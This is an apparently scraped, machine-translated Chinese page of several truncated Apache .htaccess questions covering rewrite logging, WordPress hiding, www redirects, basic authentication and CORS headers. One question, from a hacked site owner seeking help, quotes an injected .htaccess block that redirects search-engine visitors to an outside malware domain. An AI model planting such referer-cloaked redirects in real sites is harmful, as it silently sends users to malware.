我有一个 .htaccess 看起来像这样:
RewriteEngine on
RewriteLog "/Applications/MAMP/logs/rewrite_engine_log"
RewriteCond %{REQUEST_URI} !/(index.php|css|images|js)/.*$
RewriteRule (.*) /mysite/index.php/$1
Run Code Online (Sandbox Code Playgroud)
当我添加该 RewriteLog 指令时,我收到内部服务器错误。
在 Apache 日志文件中,我得到以下信息:
/Applications/MAMP/htdocs/mysite/.htaccess: RewriteLog not allowed here
Run Code Online (Sandbox Code Playgroud)
我没有手动创建该 rewrite_engine_log 文件,但该路径 /Applications/MAMP/logs/ 存在于我的 mac 上。接下来我可以尝试什么来获取 RewriteEngine 日志文件?
是否可以将用户重定向到文件file too big
页面
当 POST 请求大小超过指定限制时?
我知道 max-request-size 选项,但它只提供不能重载的静态页面。
我正在考虑创建一个重写规则,它需要
来自请求正文的内容大小作为输入并重定向到错误页面
更新
现在我们使用 nginx 作为前端。有什么新建议吗?
(我知道不建议通过默默无闻来保证安全)。
我试图隐藏我正在使用 Wordpress 的事实。这篇文章很有帮助,但它只解决了内容(有点)。我有兴趣发生以下情况:
用户尝试wp*
通过浏览器访问任何带有子字符串的url 。
结果:重定向到 404 页面。
博客用户/管理员知道为了登录他们应该去http://example.com/blogin/
。
结果: apache 将它们重定向到http://example.com/wp-admin/
.
如果用户尝试wp-admin
从他们的浏览器直接访问,他们会被发送到 #1。
结果:重定向到 404 页面。
到目前为止我做过的事情
我注意到对于 WordPress 的默认安装,我可以访问wp*
WP 安装的(相对)根目录中的任何文件。特别wp-settings.php
是有问题,因为它泄露了有关我的设置的信息。如果用户访问它,它会抛出一些 PHP 错误并显示部分目录结构。我编辑了我的 php.ini 文件以display_errors
关闭。现在访问http://example.com/wp-settngs.php
会出现一个空白页面。
这本身并不理想,因为它表明wp-settings.php
存在。事实上,访问所有不同的wp*
文件是可能的(具有不同的结果)。然后我将以下内容放入我的 htaccess 文件中:
RewriteEngine On
RewriteBase /
RewriteCond %{PATH_INFO} wp* [NC]
RewriteRule .* - [F]
Run Code Online (Sandbox Code Playgroud)
这很好用!任何带有 a 的内容都wp*
被路由到我的自定义 404 页面。但是现在我无法访问我的管理页面。
我想这条线插入到上面的代码:RewriteRule ^blogin wp-admin [NC,R,L]
。它应该是在之后,RewriteBase …
我正在尝试重定向没有 www 的 url。到 www.version(example.com 到 www.example.com)。我用通常的
RewriteCond %{HTTP_HOST} ^example\.com [nc]
RewriteRule (.*) http://www.example.com/$1 [R=301,L]
Run Code Online (Sandbox Code Playgroud)
这适用于我所有的其他项目。但是,在这个特定站点上,它以重定向循环结束。这是奇怪的部分:我试图卷曲非 www 版本以查看它使用
curl --get http://example.com --dump-header domain.header > domain.html
. 头文件如下所示:
HTTP/1.1 301 Moved Permanently
Date: Mon, 06 Jun 2011 14:45:16 GMT
Server: Apache/2.2.16 (Debian)
Location: http://example.com/
Vary: Accept-Encoding
Content-Length: 310
Content-Type: text/html; charset=iso-8859-1
Run Code Online (Sandbox Code Playgroud)
但是,生成的 HTML 文件是这样的:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.example.com/">here</a>.</p>
<hr>
<address>Apache/2.2.16 (Debian) Server at example.com Port 80</address> …
Run Code Online (Sandbox Code Playgroud) 我的网站被黑了,此时,我知道一些细节,但我不知道它究竟是如何发生的,也不知道如何在未来防止它发生。我需要你的帮助来剖析这次攻击,以便我可以防止它再次发生。这有点长,但我想确保我提供了足够的信息来帮助解决问题。
这就是发生的事情。
几周前,我收到了来自托管公司 GoDaddy 的电子邮件,说我的网站使用了太多资源,他们预计 MySQL 查询是罪魁祸首。有问题的查询是一个搜索查询,其中包含 5-6 个术语。根据我的设置方式,您搜索的术语越多,查询就越复杂。没问题。我修复了它,但与此同时,GoDaddy 也暂时关闭了我的帐户,大约 3 天后一切才恢复正常。
在那次事件之后,我的搜索引擎流量急剧下降,大约 90%。它很糟糕,因为我什么都没想到,将其写入查询失败并认为它会在 Google 重新抓取该网站时及时返回。它没有。
几天前,我收到一封来自用户的电子邮件,说我的网站托管了恶意软件。我直接在浏览器中加载了该站点,但没有看到任何注入到页面中的内容。然后我检查了我的 .htaccess 文件,发现以下内容:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>
Run Code Online (Sandbox Code Playgroud)
可爱的。而且有点狡猾。从地址栏或书签直接导航到站点,我通常会像往常一样加载站点。我很少通过搜索引擎的链接访问我的网站,所以这就是为什么只要有黑客攻击就没有被发现的原因。该恶意软件也没有直接托管在我的网站上。
快速搜索显示其他人也遇到了同样的问题,但我怀疑还有很多人还没有发现它。大多数建议是升级到最新版本的软件、更改密码等。
由于我使用的是我自己的自定义内容管理系统而不是无处不在的 Wordpress,因此我进行了更深入的挖掘。我扫描了所有文件以查找 PHP 漏洞利用中使用的常用函数:base64_decode、exec、shell 等……没有发现任何可疑的东西,也没有额外的文件。
我接下来检查了 GoDaddy 的文件管理器历史记录,发现 .htaccess 文件在我的搜索查询被指控使用过多服务器资源的同一日期更改。这可能是一个不幸的巧合,但我并不完全确定。.htaccess 文件中的重定向似乎不是资源密集型的,而且查询足够复杂,可能是资源密集型的。
我想确定我的代码不是问题,所以我在修改 …
我正在使用 Ubuntu 12.04 并尝试在带有 apache2 服务器的页面上使用 .htaccess。我的 .htaccess 文件如下所示:
AuthType Basic
AuthName "Password Required"
AuthBasicProvider file
AuthUserFile /home/janeb/.htpasswd
require valid-user
Run Code Online (Sandbox Code Playgroud)
/home/janeb/.htpasswd 文件是:
inb351:$apr1$Ya4tzYvr$KCs3eyK1O2/c7Q9zRcwn..
Run Code Online (Sandbox Code Playgroud)
和 /etc/apache2/sites-available/default 文件是:
UserDir public_html
<Directory ~ "public_html/.*">
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
Run Code Online (Sandbox Code Playgroud)
我重新启动了apache。我尝试更改require valid-user
为require user inb351
. 仍然没有运气。我也试过AllowOverride
用AuthConfig
和AuthConfig Indexes
。所以我不知道还能做什么,是的,我尝试过的每一步都重新启动了 apache。
编辑:确切的默认文件是:
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews …
Run Code Online (Sandbox Code Playgroud) 我正在尝试用密码保护文档根目录,但我得到的只是一个“内部服务器错误”页面。Apache 错误日志显示:
Invalid command 'AuthType', perhaps misspelled or defined by a module not included in the server configuration
Run Code Online (Sandbox Code Playgroud)
在任何重写条目之前我的 .htaccess 文件:
AuthType Basic
AuthName "Restricted Access"
AuthBasicProvider file
AuthUserFile /var/www/public/.htpasswd
Require user dean
Run Code Online (Sandbox Code Playgroud)
我检查了模块是否已启用:
Array (
[0] => core
[1] => mod_so
[2] => mod_watchdog
[3] => http_core
[4] => mod_log_config
[5] => mod_logio
[6] => mod_version
[7] => mod_unixd
[8] => mod_access_compat
[9] => mod_alias
[10] => mod_auth_basic
[11] => mod_authn_file
[12] => mod_authz_core
[13] => mod_authz_groupfile
[14] => …
Run Code Online (Sandbox Code Playgroud) 我在我的新开发机器 (mac) 上安装并运行了 Apache 2.2.29 (unix)。我正在尝试为 API 项目设置 CORS 标头 - 我已经做过很多次了。
该项目的 htaccess 文件如下所示:
<IfModule mod_headers.c>
Header set Access-Control-Allow-Origin "*"
Header set Access-Control-Allow-Methods "POST, GET, PUT, OPTIONS, PATCH, DELETE"
Header set Access-Control-Allow-Headers "X-Accept-Charset,X-Accept,Content-Type"
ServerSignature Off
</IfModule>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /cms/public
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !^/(favicon\.ico|apple-touch-icon.*\.png)$ [NC]
RewriteRule (.+) index.php?p=$1 [QSA,L]
</IfModule>
Run Code Online (Sandbox Code Playgroud)
并且 headers 模块已加载到我的 conf 中:
LoadModule headers_module libexec/mod_headers.so
Run Code Online (Sandbox Code Playgroud)
模块文件存在于 apache conf 中显示的位置,并且加载正常:
dan$ httpd -M
Loaded Modules:
core_module (static)
mpm_event_module (static)
http_module …
Run Code Online (Sandbox Code Playgroud) 我尝试从受保护的网站中排除子网址“/shop/api”。它在 Apache/2.2.15 上的不同服务器上运行良好,但现在不适用于 Apache/2.4.7?它总是要求进行基本身份验证。知道我做错了什么吗?
AuthType Basic
AuthName 'Authentication required'
AuthUserFile /var/www/vhosts/pwd/.htpasswd
# Allow access to excluded diretories
SetEnvIf Request_URI ^/shop/api/ noauth=1
Order deny,allow
Satisfy any
Deny from all
Require valid-user
Allow from env=noauth
Run Code Online (Sandbox Code Playgroud) 我正在编辑一个.htaccess
文件..
在 RewriteRules 的 RewriteCondition 中,HTTPS_HOST
似乎只匹配通过https://
协议 (ssl)访问的 url 。我在某处的文档中看到它是一个 T/F 变量,指示是否使用安全协议访问了 url。
然而,我在上文档的麻烦发现是否HTTP_HOST
只匹配http://
协议,或者如果它有效地匹配//
相对的协议,这意味着它符合双方 http://
和 https://
。
有人可以以一种或另一种方式确认,或向我指出此信息的明确来源吗?
此外,如果HTTP_HOST
匹配两个协议变体,过滤仅 http://
协议匹配的最佳方法是什么?
例子:
<IfModule mod_rewrite.c>
RewriteEngine on
Rewritecond %{HTTP_HOST} ^\/\.(?!some-url).*$
RewriteRule (.*) https://www.example.com/$1 [R=301,L,NC]
</IfModule>
Run Code Online (Sandbox Code Playgroud)
相比之下:
...
Rewritecond %{HTTPS_HOST} ^\/\.(?!some-url).*$
...
Run Code Online (Sandbox Code Playgroud)
编辑:实验表明,HTTP_HOST
这似乎与两种协议都匹配,而HTTPS_HOST
仅当协议或 url 以https://
.
.
(注重:apache2
标签
。TBH,我不能肯定我运行的是什么版本的Apache将尝试找出,这样我就可以装上适当的标签..
我想httpd -v
,apache -v
, …
.htaccess ×10
apache-2.2 ×4
mod-rewrite ×3
apache-2.4 ×2
http-headers ×2
httpd.conf ×2
ubuntu ×2
.htpasswd ×1
apache2 ×1
cors ×1
ftp ×1
godaddy ×1
hacking ×1
lighttpd ×1
mac ×1
mamp ×1
nginx ×1
php ×1
redirection ×1
rewrite ×1
upload ×1
wordpress ×1